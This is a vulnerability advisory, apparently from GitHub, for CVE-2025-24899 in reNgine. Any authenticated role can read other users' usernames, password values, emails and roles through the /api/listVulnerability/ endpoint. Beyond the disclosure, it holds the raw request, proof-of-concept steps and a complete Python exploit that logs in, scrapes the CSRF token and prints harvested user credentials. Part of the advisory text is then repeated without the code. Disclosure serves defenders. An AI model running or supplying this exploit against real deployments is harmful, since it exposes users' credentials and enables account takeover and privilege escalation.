Summary
A vulnerability was discovered in reNgine, where an insider attacker with any role (such as Auditor, Penetration Tester, or Sys Admin) can extract sensitive information from other reNgine users. After running a scan and obtaining vulnerabilities from a target, the attacker can obtain details such as username
, password
, email
, role
, first name
, last name
, status
, and activity information
by making a GET request to /api/listVulnerability/
.
Details
After running a vulnerability scan on a random target and generating any result in the Vulnerabilities tab, an authenticated attacker with any role, regardless of whether it is Sys Admin, Penetration Tester or Auditor, can exploit this vulnerability.
Create a query for the Endpoint /api/listVulnerability/
using the GET
method:
GET /api/listVulnerability/ HTTP/2
Host: myrengine
Cookie: sessionid=YOUR_SESSIONID
URL: https://RENGINE-IP/api/listVulnerability/
Note that the API response is leaking sensitive information from users who have already run a scan before. If a user performed a scan, information will only be leaked from the single user who performed the scan, but if more than one user performed the scan, more than one user will have their information leaked in the response.
![image](https://private-user-images.githubusercontent.com/85699023/403521699-dd1171ef-b352-4541-aa1d-fa753d84c30a.png?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3Mzk1NTEzMDYsIm5iZiI6MTczOTU1MTAwNiwicGF0aCI6Ii84NTY5OTAyMy80MDM1MjE2OTktZGQxMTcxZWYtYjM1Mi00NTQxLWFhMWQtZmE3NTNkODRjMzBhLnBuZz9YLUFtei1BbGdvcml0aG09QVdTNC1ITUFDLVNIQTI1NiZYLUFtei1DcmVkZW50aWFsPUFLSUFWQ09EWUxTQTUzUFFLNFpBJTJGMjAyNTAyMTQlMkZ1cy1lYXN0LTElMkZzMyUyRmF3czRfcmVxdWVzdCZYLUFtei1EYXRlPTIwMjUwMjE0VDE2MzY0NlomWC1BbXotRXhwaXJlcz0zMDAmWC1BbXotU2lnbmF0dXJlPThjYzAyODhlM2YxZmRhOThiMjMyZjMxYTA0NzkwZjIxYzE2YzIxNmU2NjZmOGIwM2Y1OGFjNDk4YTIxN2VjYTMmWC1BbXotU2lnbmVkSGVhZGVycz1ob3N0In0.NceqdMFopxAFE9s1ekBe4PAeAKlhQAuA-WuPfox2bas)
![image](https://private-user-images.githubusercontent.com/85699023/403523167-010b2a78-1d20-494c-a530-563b598d5c1d.png?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3Mzk1NTEzMDYsIm5iZiI6MTczOTU1MTAwNiwicGF0aCI6Ii84NTY5OTAyMy80MDM1MjMxNjctMDEwYjJhNzgtMWQyMC00OTRjLWE1MzAtNTYzYjU5OGQ1YzFkLnBuZz9YLUFtei1BbGdvcml0aG09QVdTNC1ITUFDLVNIQTI1NiZYLUFtei1DcmVkZW50aWFsPUFLSUFWQ09EWUxTQTUzUFFLNFpBJTJGMjAyNTAyMTQlMkZ1cy1lYXN0LTElMkZzMyUyRmF3czRfcmVxdWVzdCZYLUFtei1EYXRlPTIwMjUwMjE0VDE2MzY0NlomWC1BbXotRXhwaXJlcz0zMDAmWC1BbXotU2lnbmF0dXJlPTBiYzJhOGY5NThhZDI4ZjQwNTZmM2MwZjg0YzAyZDYzNTgzYTVjOGFhNWJhMTg4NTUyNGEyNmJhMmU3M2M4ZGMmWC1BbXotU2lnbmVkSGVhZGVycz1ob3N0In0.jI3ardyheRhI985kWN5OjjDIdvX0zdwVqNW0Lk_t5Hs)
PoC
- Log in to your account
- Run a scan that generates vulnerabilities to be consulted in the Vulnerabilities tab.
- Wait for the scan to generate vulnerability results on any target.
- Navigate to: https://myrengine/api/listVulnerability/ (when viewing the result it can be seen with any Role)
- Note that in the middle of the JSON file there will be a leak of sensitive information from reNgine users.
![image](https://private-user-images.githubusercontent.com/85699023/403521699-dd1171ef-b352-4541-aa1d-fa753d84c30a.png?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3Mzk1NTEzMDYsIm5iZiI6MTczOTU1MTAwNiwicGF0aCI6Ii84NTY5OTAyMy80MDM1MjE2OTktZGQxMTcxZWYtYjM1Mi00NTQxLWFhMWQtZmE3NTNkODRjMzBhLnBuZz9YLUFtei1BbGdvcml0aG09QVdTNC1ITUFDLVNIQTI1NiZYLUFtei1DcmVkZW50aWFsPUFLSUFWQ09EWUxTQTUzUFFLNFpBJTJGMjAyNTAyMTQlMkZ1cy1lYXN0LTElMkZzMyUyRmF3czRfcmVxdWVzdCZYLUFtei1EYXRlPTIwMjUwMjE0VDE2MzY0NlomWC1BbXotRXhwaXJlcz0zMDAmWC1BbXotU2lnbmF0dXJlPThjYzAyODhlM2YxZmRhOThiMjMyZjMxYTA0NzkwZjIxYzE2YzIxNmU2NjZmOGIwM2Y1OGFjNDk4YTIxN2VjYTMmWC1BbXotU2lnbmVkSGVhZGVycz1ob3N0In0.NceqdMFopxAFE9s1ekBe4PAeAKlhQAuA-WuPfox2bas)
Impact
This vulnerability could lead to:
- User accounts compromise.
- Privilege escalation (if credentials are decrypted or reused elsewhere).
- Exposure of sensitive information, facilitating targeted attacks.
- Loss of trust in the system and potential violation of data protection regulations
Exploit (CVE-2025-24899)
import requests
import sys
import argparse
import warnings
import json
from colorama import Fore, Style
# Suppress SSL warnings and others
warnings.filterwarnings("ignore", category=requests.packages.urllib3.exceptions.InsecureRequestWarning)
def login(base_url, username, password):
login_url = f"{base_url}/login/"
session = requests.Session()
# Obtaining the CSRF Token
try:
response = session.get(login_url, verify=False)
csrf_token = response.cookies.get('csrftoken') or extract_csrf_token(response.text)
except Exception as e:
print(Fore.RED + f"[-] Error obtaining the CSRF Token: {e}")
return None, None
# Building the payload and headers
payload = {
"csrfmiddlewaretoken": csrf_token,
"username": username,
"password": password,
}
headers = {
"Referer": login_url,
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36",
}
# Performing the login
try:
response = session.post(login_url, data=payload, headers=headers, allow_redirects=False, verify=False)
# Checking the response
if response.status_code == 302:
session_id = response.cookies.get("sessionid")
if session_id:
print(Fore.GREEN + "[+] " + Fore.WHITE + "Login successful!")
return session, session_id
else:
print(Fore.RED + "[-] Session ID not found.")
return None, None
elif response.status_code == 200:
print(Fore.RED + "[-] Login failed or invalid credentials.")
else:
print(Fore.RED + f"[ERROR] Unexpected response. HTTP Code: {response.status_code}")
except Exception as e:
print(Fore.RED + f"[-] Login request failed: {e}")
return None, None
def extract_csrf_token(html):
import re
match = re.search(r'name="csrfmiddlewaretoken" value="(.+?)"', html)
if match:
return match.group(1)
raise ValueError(Fore.RED + "CSRF token not found in the HTML.")
def get_session(base_url, username, password):
session, session_id = login(base_url, username, password)
if session and session_id:
return session, session_id
else:
print(Fore.RED + "[-] Unable to obtain the session.")
return None, None
def get_vulnerabilities(base_url, session, session_id):
url = f"{base_url}/api/listVulnerability/"
headers = {
"Cookie": f"sessionid={session_id}",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36",
}
try:
response = session.get(url, headers=headers, verify=False)
if response.status_code == 200:
print(Fore.GREEN + "[+] " + Fore.WHITE + "Extracting Confidential information...\n")
filter_and_display_user_info(response.json())
else:
print(Fore.RED + f"[ERROR] Failed to retrieve vulnerabilities. HTTP Code: {response.status_code}")
except Exception as e:
print(Fore.RED + "[ERROR] {}: {}".format(type(e).__name__, str(e)))
def filter_and_display_user_info(data):
users = {}
for result in data.get('results', []):
scan_history = result.get('scan_history', {})
for key in ['initiated_by', 'aborted_by']:
user_info = scan_history.get(key)
if user_info and 'id' in user_info:
users.setdefault(user_info['id'], user_info)
for uid in users:
user_info = users[uid]
print(Fore.GREEN + "[+] " + Fore.CYAN + "Found ID: " + Fore.YELLOW + f"{user_info['id']}")
print(Fore.GREEN + "Username: " + Fore.WHITE + f"{user_info['username']}")
print(Fore.GREEN + "Password: " + Fore.WHITE + f"{user_info['password']}")
if 'email' in user_info:
print(Fore.GREEN + "Email: " + Fore.WHITE + f"{user_info['email']}")
if user_info['is_superuser']:
print(Fore.GREEN + "Superuser: " + Fore.WHITE + f"{user_info['is_superuser']}" + Fore.YELLOW + " (Role: Sys Admin)")
else:
print(Fore.GREEN + "Superuser: " + Fore.WHITE + f"{user_info['is_superuser']}" + Fore.YELLOW + " (Role: Penetration Tester)")
print(Fore.GREEN + "First Name: " + Fore.WHITE + f"{user_info['first_name']}")
print(Fore.GREEN + "Last Name: " + Fore.WHITE + f"{user_info['last_name']}")
print(Fore.GREEN + "Active: " + Fore.WHITE + f"{user_info['is_active']}")
print(Fore.GREEN + "Last Login: " + Fore.WHITE + f"{user_info['last_login'][:10]}")
print(Fore.GREEN + "Joined: " + Fore.WHITE + f"{user_info['date_joined'][:10]}")
print(Style.RESET_ALL)
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="Login script for web applications.")
parser.add_argument("-t", "--target", required=True, help="Target application URL (e.g., https://example.com)")
parser.add_argument("-u", "--username", required=True, help="Username")
parser.add_argument("-p", "--password", required=True, help="Password")
args = parser.parse_args()
# Perform login and obtain the session
session, session_id = get_session(args.target, args.username, args.password)
# If login is successful, make the request to retrieve vulnerabilities
if session and session_id:
get_vulnerabilities(args.target, session, session_id)
Result
The Exploit ran with credentials of a user with the Auditor
role, and see that I, as an Auditor
user, was able to extract confidential information from other users with the Sys Admin
and Penetration Tester
Roles.
Considering that you can only obtain information from users who have already run a scan, that is, it will not be possible to obtain information from an auditor user, but it may be possible to obtain information from users with greater privilege (sys admin and penetration tester) regardless of the Role you are.
![image](https://private-user-images.githubusercontent.com/85699023/403614269-0c6607f8-91a6-4e0f-b458-69df4b3b2a38.png?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3Mzk1NTEzMDYsIm5iZiI6MTczOTU1MTAwNiwicGF0aCI6Ii84NTY5OTAyMy80MDM2MTQyNjktMGM2NjA3ZjgtOTFhNi00ZTBmLWI0NTgtNjlkZjRiM2IyYTM4LnBuZz9YLUFtei1BbGdvcml0aG09QVdTNC1ITUFDLVNIQTI1NiZYLUFtei1DcmVkZW50aWFsPUFLSUFWQ09EWUxTQTUzUFFLNFpBJTJGMjAyNTAyMTQlMkZ1cy1lYXN0LTElMkZzMyUyRmF3czRfcmVxdWVzdCZYLUFtei1EYXRlPTIwMjUwMjE0VDE2MzY0NlomWC1BbXotRXhwaXJlcz0zMDAmWC1BbXotU2lnbmF0dXJlPTIyNjQyMmU1MTdhZjYzZjQ4MWM3MmYwZDNmNGMxNDcxN2VlMjhmZjlmYmNiZTYzYjE5MGY1YTQ2NTI4MjcxZTgmWC1BbXotU2lnbmVkSGVhZGVycz1ob3N0In0.SggsZSKohShKkG2j_8cYbXP2AVd46iYVcjrNXN7Rxyo)
Summary
A vulnerability was discovered in reNgine, where an insider attacker with any role (such as Auditor, Penetration Tester, or Sys Admin) can extract sensitive information from other reNgine users. After running a scan and obtaining vulnerabilities from a target, the attacker can obtain details such as
username
,password
,email
,role
,first name
,last name
,status
, andactivity information
by making a GET request to/api/listVulnerability/
.Details
After running a vulnerability scan on a random target and generating any result in the Vulnerabilities tab, an authenticated attacker with any role, regardless of whether it is Sys Admin, Penetration Tester or Auditor, can exploit this vulnerability.
Create a query for the Endpoint
/api/listVulnerability/
using theGET
method:URL: https://RENGINE-IP/api/listVulnerability/
Note that the API response is leaking sensitive information from users who have already run a scan before. If a user performed a scan, information will only be leaked from the single user who performed the scan, but if more than one user performed the scan, more than one user will have their information leaked in the response.
PoC
Impact
This vulnerability could lead to:
Exploit (CVE-2025-24899)
Result
The Exploit ran with credentials of a user with the
Auditor
role, and see that I, as anAuditor
user, was able to extract confidential information from other users with theSys Admin
andPenetration Tester
Roles.Considering that you can only obtain information from users who have already run a scan, that is, it will not be possible to obtain information from an auditor user, but it may be possible to obtain information from users with greater privilege (sys admin and penetration tester) regardless of the Role you are.